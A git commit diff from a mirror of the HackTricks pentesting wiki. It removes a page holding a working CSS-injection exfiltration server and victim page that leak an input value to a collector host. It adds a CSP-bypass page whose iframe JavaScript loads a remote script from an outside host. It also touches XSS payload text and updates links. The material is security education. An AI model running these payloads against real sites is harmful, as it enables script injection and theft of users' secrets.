mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
GitBook: [#3108] No subject
This commit is contained in:
parent
4786bf1dd6
commit
89f8360a15
7 changed files with 100 additions and 248 deletions
|
@ -13,7 +13,6 @@
|
|||
* [Brute Force - CheatSheet](brute-force.md)
|
||||
* [Exfiltration](exfiltration.md)
|
||||
* [Tunneling and Port Forwarding](tunneling-and-port-forwarding.md)
|
||||
* [CSS Injection Code](css-injection-code.md)
|
||||
* [Search Exploits](search-exploits.md)
|
||||
|
||||
## Shells
|
||||
|
@ -376,7 +375,8 @@
|
|||
* [Clickjacking](pentesting-web/clickjacking.md)
|
||||
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
||||
* [Command Injection](pentesting-web/command-injection.md)
|
||||
* [Content Security Policy (CSP) Bypass](pentesting-web/content-security-policy-csp-bypass.md)
|
||||
* [Content Security Policy (CSP) Bypass](pentesting-web/content-security-policy-csp-bypass/README.md)
|
||||
* [CSP bypass: self + 'unsafe-inline' with Iframes](pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
* [Cookies Hacking](pentesting-web/hacking-with-cookies/README.md)
|
||||
* [Cookie Tossing](pentesting-web/hacking-with-cookies/cookie-tossing.md)
|
||||
* [Cookie Jar Overflow](pentesting-web/hacking-with-cookies/cookie-jar-overflow.md)
|
||||
|
|
|
@ -1,216 +0,0 @@
|
|||
# CSS Injection Code
|
||||
|
||||
|
||||
|
||||
{% code title="victim.html" %}
|
||||
```html
|
||||
<!doctype html>
|
||||
<body>
|
||||
<div><article><div><p><div><div><div><div><div>
|
||||
<input type="text" value="1234567890">
|
||||
<style>
|
||||
@import url('//localhost:5001/start?');
|
||||
</style>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="server.js" %}
|
||||
```javascript
|
||||
const http = require('http');
|
||||
const url = require('url');
|
||||
|
||||
// Port to exfiltrate to
|
||||
const port = 5001;
|
||||
// Host to exfiltrate to
|
||||
const HOSTNAME = "http://localhost:5001";
|
||||
const DEBUG = false;
|
||||
|
||||
var prefix = "", postfix = "";
|
||||
var pending = [];
|
||||
var stop = false, ready = 0, n = 0;
|
||||
|
||||
const requestHandler = (request, response) => {
|
||||
let req = url.parse(request.url, url);
|
||||
log('\treq: %s', request.url);
|
||||
|
||||
//If stop, leakeage is finished
|
||||
if (stop) return response.end();
|
||||
|
||||
switch (req.pathname) {
|
||||
// This only launched when starting the leakeage
|
||||
case "/start":
|
||||
genResponse(response);
|
||||
break;
|
||||
|
||||
// Everytime something is leaked
|
||||
case "/leak":
|
||||
response.end();
|
||||
// If response comes with a pre, then we leaked some preffix s(E)cret
|
||||
if (req.query.pre && prefix !== req.query.pre) {
|
||||
prefix = req.query.pre;
|
||||
|
||||
// If response comes with a post, then we leaked some suffix secre(T)
|
||||
} else if (req.query.post && postfix !== req.query.post) {
|
||||
postfix = req.query.post;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
|
||||
// Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response)
|
||||
if (ready == 2) {
|
||||
genResponse(pending.shift());
|
||||
ready = 0;
|
||||
} else {
|
||||
ready++;
|
||||
log('\tleak: waiting others...');
|
||||
}
|
||||
break;
|
||||
|
||||
// While waiting for a pre and a post, the next @import is waiting to be responded
|
||||
// by a new generated payload with another "pre" and "post"
|
||||
case "/next":
|
||||
if (ready == 2) {
|
||||
genResponse(respose);
|
||||
ready = 0;
|
||||
} else {
|
||||
pending.push(response);
|
||||
ready++;
|
||||
log('\tquery: waiting others...');
|
||||
}
|
||||
break;
|
||||
|
||||
// Called when the secret is leaked
|
||||
case "/end":
|
||||
stop = true;
|
||||
console.log('[+] END: %s', req.query.token);
|
||||
|
||||
default:
|
||||
response.end();
|
||||
}
|
||||
}
|
||||
|
||||
const genResponse = (response) => {
|
||||
// Verbose output to know what do we know
|
||||
console.log('...pre-payoad: ' + prefix);
|
||||
console.log('...post-payoad: ' + postfix);
|
||||
|
||||
// Payload generation, you have an example of what is generated below
|
||||
let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n' +
|
||||
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
|
||||
'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
|
||||
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
|
||||
'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
|
||||
'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
|
||||
|
||||
response.writeHead(200, { 'Content-Type': 'text/css'});
|
||||
response.write(css);
|
||||
response.end();
|
||||
n++;
|
||||
}
|
||||
|
||||
|
||||
// Server listening
|
||||
const server = http.createServer(requestHandler)
|
||||
|
||||
server.listen(port, (err) => {
|
||||
if (err) {
|
||||
return console.log('[-] Error: something bad happened', err);
|
||||
}
|
||||
console.log('[+] Server is listening on %d', port);
|
||||
})
|
||||
|
||||
function log() {
|
||||
if (DEBUG) console.log.apply(console, arguments);
|
||||
}
|
||||
|
||||
/*
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/css
|
||||
Date: Fri, 01 Apr 2022 14:35:39 GMT
|
||||
Connection: close
|
||||
Content-Length: 2149
|
||||
|
||||
@import url(http://localhost:5001/next?0.7834603960990516);
|
||||
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
|
||||
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
|
||||
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
|
||||
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
|
||||
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
|
||||
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
|
||||
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
|
||||
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
|
||||
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
|
||||
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
|
||||
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
|
||||
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
|
||||
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
|
||||
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
|
||||
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
|
||||
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||
input{background:var(--e0)}
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
|
||||
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
|
||||
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
|
||||
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
|
||||
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
|
||||
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
|
||||
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
|
||||
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
|
||||
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
|
||||
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
|
||||
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
|
||||
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
|
||||
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
|
||||
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
|
||||
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
|
||||
input{border-image:var(--s0)}
|
||||
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
|
||||
*/
|
||||
|
||||
/*
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/css
|
||||
Date: Fri, 01 Apr 2022 14:35:39 GMT
|
||||
Connection: close
|
||||
Content-Length: 2149
|
||||
|
||||
@import url(http://localhost:5001/next?0.7834603960990516);
|
||||
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
|
||||
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
|
||||
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
|
||||
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
|
||||
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
|
||||
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
|
||||
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
|
||||
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
|
||||
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
|
||||
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
|
||||
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
|
||||
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
|
||||
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
|
||||
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
|
||||
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
|
||||
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||
input{background:var(--e0)}
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
|
||||
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
|
||||
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
|
||||
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
|
||||
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
|
||||
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
|
||||
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
|
||||
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
|
||||
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
|
||||
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
|
||||
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
|
||||
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
|
||||
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
|
||||
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
|
||||
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
|
||||
input{border-image:var(--s0)}
|
||||
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
|
||||
*/
|
||||
```
|
||||
{% endcode %}
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## What is CSP
|
||||
|
||||
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of allowing resource from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
|
||||
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of allowing resource from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
|
||||
|
||||
Content Security Policy is implemented via **response headers** or **meta elements of the HTML page**. The browser follows the received policy and actively blocks violations as they are detected.
|
||||
|
||||
|
@ -41,32 +41,32 @@ object-src 'none';
|
|||
|
||||
### Directives
|
||||
|
||||
* **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
|
||||
* **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
|
||||
* **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in CSP header the browser follows this directive by default.
|
||||
* **Child-src**: This directive defines allowed resources for web workers and embedded frame contents.
|
||||
* **connect-src**: This directive restricts URLs to load using interfaces like fetch, websocket, XMLHttpRequest
|
||||
* **frame-src**: This directive restricts URLs to which frames can be called out.
|
||||
* **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to , , , and tags. This directive can't be used in tags and applies only to non-HTML resources.
|
||||
* **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to , , , and tags. This directive can't be used in tags and applies only to non-HTML resources.
|
||||
* **img-src**: It defines allowed sources to load images on the web page.
|
||||
* **font-src:** directive specifies valid sources for fonts loaded using `@font-face`.
|
||||
* **manifest-src**: This directive defines allowed sources of application manifest files.
|
||||
* **media-src**: It defines allowed sources from where media objects like , and can be loaded.
|
||||
* **object-src**: It defines allowed sources for the \<object>, \<embed>, and \<applet> elements elements.
|
||||
* **base-uri**: It defines allowed URLs which can be loaded using element.
|
||||
* **form-action**: This directive lists valid endpoints for submission from tags.
|
||||
* **media-src**: It defines allowed sources from where media objects like , and can be loaded.
|
||||
* **object-src**: It defines allowed sources for the \<object>, \<embed>, and \<applet> elements elements.
|
||||
* **base-uri**: It defines allowed URLs which can be loaded using element.
|
||||
* **form-action**: This directive lists valid endpoints for submission from tags.
|
||||
* **plugin-types**: It defines limits the kinds of mime types a page may invoke.
|
||||
* **upgrade-insecure-requests**: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URL's that need to be rewritten.
|
||||
* **sandbox**: sandbox directive enables a sandbox for the requested resource similar to the sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
|
||||
* **sandbox**: sandbox directive enables a sandbox for the requested resource similar to the sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
|
||||
|
||||
### **Sources**
|
||||
|
||||
* \*: This allows any URL except `data:` , `blob:` , `filesystem:` schemes
|
||||
* **self**: This source defines that loading of resources on the page is allowed from the same domain.
|
||||
* **self**: This source defines that loading of resources on the page is allowed from the same domain.
|
||||
* **data**: This source allows loading resources via the data scheme (eg Base64 encoded images)
|
||||
* **none**: This directive allows nothing to be loaded from any source.
|
||||
* **unsafe-eval**: This allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason it is named as unsafe.
|
||||
* **unsafe-hashes**: This allows to enable specific inline event handlers.
|
||||
* **unsafe-inline**: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
|
||||
* **unsafe-inline**: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
|
||||
* **nonce**: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.
|
||||
* **sha256-\<hash>**: Whitelist scripts with an specific sha256 hash
|
||||
|
||||
|
@ -80,6 +80,12 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
|||
|
||||
Working payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' via Iframes
|
||||
|
||||
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
|
||||
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 'unsafe-eval'
|
||||
|
||||
```yaml
|
||||
|
@ -190,13 +196,13 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
|
|||
|
||||
### Iframes JS execution
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### missing **base-uri**
|
||||
|
||||
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](dangling-markup-html-scriptless-injection.md).
|
||||
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection.md).
|
||||
|
||||
Moreover, if the **page is loading a script using a relative path** (like `/js/app.js`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
|
||||
If the vulnerable page is loaded with **httpS**, make use a httpS url in the base.
|
||||
|
@ -233,7 +239,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
|
||||
### Bypass CSP with dangling markup
|
||||
|
||||
Read [how here](dangling-markup-html-scriptless-injection.md).
|
||||
Read [how here](../dangling-markup-html-scriptless-injection.md).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
|
||||
|
@ -255,8 +261,8 @@ You could also abuse this configuration to **load javascript code inserted insid
|
|||
|
||||
### img-src \*; via XSS (iframe) - Time attack
|
||||
|
||||
Notice the lack of the directive `'unsafe-inline'` \
|
||||
This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need.
|
||||
Notice the lack of the directive `'unsafe-inline'`\
|
||||
This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need.
|
||||
|
||||
This time a **flag** is going to be extracted, whenever a **char is correctly guessed** via SQLi the **response** takes **more time** due to the sleep function. Then, you will be able to extract the flag:
|
||||
|
||||
|
@ -327,7 +333,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
### Leaking Information CSP + Iframe
|
||||
|
||||
Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example the user **admin** accessing **redirectme.domain1.com** is redirected to: **adminsecret321.domain2.com** and you can cause a XSS to the admin.\
|
||||
Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example the user **admin** accessing **redirectme.domain1.com** is redirected to: **adminsecret321.domain2.com** and you can cause a XSS to the admin.\
|
||||
**Also the page redirected isn't allowed by the security policy, but the page that redirects is.**
|
||||
|
||||
You can leak the domain where the admin is redirected through:
|
||||
|
@ -337,7 +343,7 @@ You can leak the domain where the admin is redirected through:
|
|||
|
||||
The CSP violation is an instant leak. All that needs to be done is to load an iframe pointing to `https://redirectme.domain1.com` and listen to `securitypolicyviolation` event which contains `blockedURI` property containing the domain of the blocked URI. That is because the `https://redirectme.domain1.com` (allowed by CSP) redirects to `https://adminsecret321.domain2.com` (**blocked by CSP**). This makes use of undefined behavior of how to handle iframes with CSP. Chrome and Firefox behave differently regarding this.
|
||||
|
||||
When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev)
|
||||
When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev)
|
||||
|
||||
```
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
|
@ -384,4 +390,3 @@ Example: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
|||
{% embed url="https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d" %}
|
||||
|
||||
{% embed url="https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme" %}
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
# CSP bypass: self + 'unsafe-inline' with Iframes
|
||||
|
||||
A configuration such as:
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
|
||||
```
|
||||
|
||||
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
|
||||
|
||||
Any content from external sources is also blocked, including images, css, websockets, and, especially, JS
|
||||
|
||||
### Via text & images
|
||||
|
||||
Modern browsers transform images and texts o HTML files to visualize them better (set background, center...).
|
||||
|
||||
Therefore, if you **open an image or txt file** such as **favicon.ico** or **robots.txt** with an **`iframe`**, you will open it as HTML.
|
||||
|
||||
**These kind of pages usually doesn't have CSP headers and might not have X-Frame-Options**, so you can execute arbitrary JS from them:
|
||||
|
||||
```javascript
|
||||
frame=document.createElement("iframe");
|
||||
frame.src="/css/bootstrap.min.css";
|
||||
document.body.appendChild(frame);
|
||||
script=document.createElement('script');
|
||||
script.src='//bo0om.ru/csp.js';
|
||||
window.frames[0].document.head.appendChild(script);
|
||||
```
|
||||
|
||||
### Via Errors
|
||||
|
||||
Same as text files or images, **error responses usually doesn't have CSP headers and might not have X-Frame-Options**. So, you can force errors and load them inside an iframe:
|
||||
|
||||
```javascript
|
||||
// Force nginx error
|
||||
frame=document.createElement("iframe");
|
||||
frame.src="/%2e%2e%2f";
|
||||
document.body.appendChild(frame);
|
||||
|
||||
// Force error via long URL
|
||||
frame=document.createElement("iframe");
|
||||
frame.src="/"+"A".repeat(20000);
|
||||
document.body.appendChild(frame);
|
||||
|
||||
// Force error via long cookies
|
||||
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
|
||||
frame=document.createElement("iframe");
|
||||
frame.src="/";
|
||||
document.body.appendChild(frame);
|
||||
// Don't forget to remove them
|
||||
for(var i=0;i<5;i++){document.cookie=i+"="}
|
||||
```
|
||||
|
||||
```javascript
|
||||
// After any of the previous examples, you can execute JS in the iframe wih something like:
|
||||
script=document.createElement('script');
|
||||
script.src='//bo0om.ru/csp.js';
|
||||
window.frames[0].document.head.appendChild(script);
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
|
@ -5,7 +5,7 @@
|
|||
This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](xss-cross-site-scripting/)but you can **inject some HTML tags**.\
|
||||
It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.
|
||||
|
||||
Several techniques commented here can be used to bypass some [**Content Security Policy**](content-security-policy-csp-bypass.md) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
|
||||
Several techniques commented here can be used to bypass some [**Content Security Policy**](content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
|
||||
|
||||
## Main Applications
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@ In every pentest web there is **several hidden and obvious places that might be
|
|||
## Proxies
|
||||
|
||||
{% hint style="info" %}
|
||||
Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend.
|
||||
Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend.
|
||||
{% endhint %}
|
||||
|
||||
* [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
||||
|
@ -20,7 +20,7 @@ Nowadays **web** **applications** usually **uses** some kind of **intermediary**
|
|||
|
||||
{% hint style="info" %}
|
||||
Most of the web applications will **allow users to input some data that will be processed later.**\
|
||||
Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply.
|
||||
Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply.
|
||||
{% endhint %}
|
||||
|
||||
### **Reflected Values**
|
||||
|
@ -73,7 +73,7 @@ When websocket, post message or a form allows user to perform actions vulnerabil
|
|||
Depending on the HTTP headers given by the web server some vulnerabilities might be present.
|
||||
|
||||
* [ ] [**Clickjacking**](clickjacking.md)
|
||||
* [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass.md)
|
||||
* [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
|
||||
* [ ] [**Cookies Hacking**](hacking-with-cookies/)
|
||||
* [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ Rewrite **IP source**:
|
|||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
* `X-Forwarded-For: 127.0.0.1`
|
||||
* `X-Forwarded: 127.0.0.1`
|
||||
* `X-Forwarded: 127.0.0.1`
|
||||
* `Forwarded-For: 127.0.0.1`
|
||||
* `X-Forwarded-Host: 127.0.0.1`
|
||||
* `X-Remote-IP: 127.0.0.1`
|
||||
|
@ -72,7 +72,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
|||
|
||||
## Conditionals
|
||||
|
||||
* Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time.
|
||||
* Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header\*\*`Last-Modified`\*\* contains a different time.
|
||||
* Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response.
|
||||
* The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**.
|
||||
|
||||
|
@ -91,7 +91,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
|||
* **`Content-Language`**: Describes the human language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
|
||||
* **`Content-Location`**: Indicates an alternate location for the returned data.
|
||||
|
||||
From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.** \
|
||||
From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.**\
|
||||
For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests:
|
||||
|
||||
* A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
@ -105,19 +105,19 @@ For example a combination of **`Range`** and **`Etag`** in a HEAD request can le
|
|||
|
||||
* **`Allow`:** Lists the set of methods supported by a resource. `Allow: GET, POST, HEAD`
|
||||
* **`Expect`**: The **`Expect`** HTTP request header indicates expectations that need to be fulfilled by the server in order to properly handle the request.
|
||||
* No other expectations except `Expect: 100-continue` are specified currently. Informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a [`100`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/100) (Continue) interim response.
|
||||
* No other expectations except `Expect: 100-continue` are specified currently. Informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a [`100`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/100) (Continue) interim response.
|
||||
|
||||
## Downloads
|
||||
|
||||
* **`Content-Disposition`**: In a regular HTTP response, the **`Content-Disposition`** response header is a header indicating if the content is expected to be displayed _inline_ in the browser, that is, as a Web page or as part of a Web page, or as an _attachment_, that is downloaded and saved locally.
|
||||
* **`Content-Disposition`**: In a regular HTTP response, the **`Content-Disposition`** response header is a header indicating if the content is expected to be displayed _inline_ in the browser, that is, as a Web page or as part of a Web page, or as an _attachment_, that is downloaded and saved locally.
|
||||
* `Content-Disposition: attachment; filename="filename.jpg"`
|
||||
|
||||
## Security Headers
|
||||
|
||||
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
{% content-ref url="../../pentesting-web/content-security-policy-csp-bypass.md" %}
|
||||
[content-security-policy-csp-bypass.md](../../pentesting-web/content-security-policy-csp-bypass.md)
|
||||
{% content-ref url="../../pentesting-web/content-security-policy-csp-bypass/" %}
|
||||
[content-security-policy-csp-bypass](../../pentesting-web/content-security-policy-csp-bypass/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trusted Types <a href="#tt" id="tt"></a>
|
||||
|
|
Loading…
Reference in a new issue